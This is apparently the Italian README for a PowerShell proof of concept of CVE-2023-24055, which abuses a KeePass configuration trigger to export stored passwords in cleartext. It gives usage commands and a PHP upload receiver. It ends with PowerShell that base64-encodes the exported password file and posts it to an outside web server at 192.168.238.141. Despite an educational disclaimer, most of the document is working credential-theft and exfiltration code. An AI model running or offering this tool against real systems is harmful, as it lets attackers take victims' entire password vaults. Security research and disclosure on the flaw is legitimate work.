
CVE-2023-24055 POC scritto in PowerShell.

Questo script è solo a scopo educativo e dimostrativo. L'autore non approva né incoraggia l'uso di questo script per attività criminali o dannose e dovrebbe essere utilizzato solo dove esplicitamente consentito con la dovuta autorizzazione.
Questo script deve essere usato con cautela, poiché modificherà il file di configurazione di KeePass ed eliminerà eventuali trigger precedentemente configurati. L'uso di questo script può causare comportamenti imprevisti e potenzialmente danneggiare l'applicazione KeePass. Utilizzalo a tuo rischio.
Questo script dimostra la vulnerabilità ** DISPUTED ** (CVE-2023-24055) di KeePass fino alla versione 2.53 (in un'installazione predefinita), in quanto consente a un utente malintenzionato con accesso in scrittura al file di configurazione XML di ottenere le password in chiaro aggiungendo un trigger di esportazione. Si noti che la posizione del fornitore è che il database delle password non è progettato per essere sicuro contro un utente malintenzionato che ha quel livello di accesso al PC locale.
Riferimenti:
Per usare questo script, eseguilo in PowerShell e fornisci i parametri necessari. I parametri obbligatori sono:
-filename: Il percorso completo e il nome del file in cui esportare le password.I parametri opzionali sono:
-uploadURL: Questa opzione specifica che i dati devono essere caricati all'URL specificato.-url: L'URL a cui caricare i dati.Esporta le password in chiaro:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
Esporta le password in chiaro e carica l'esportazione sul server web:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
Aiuto dettagliato:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");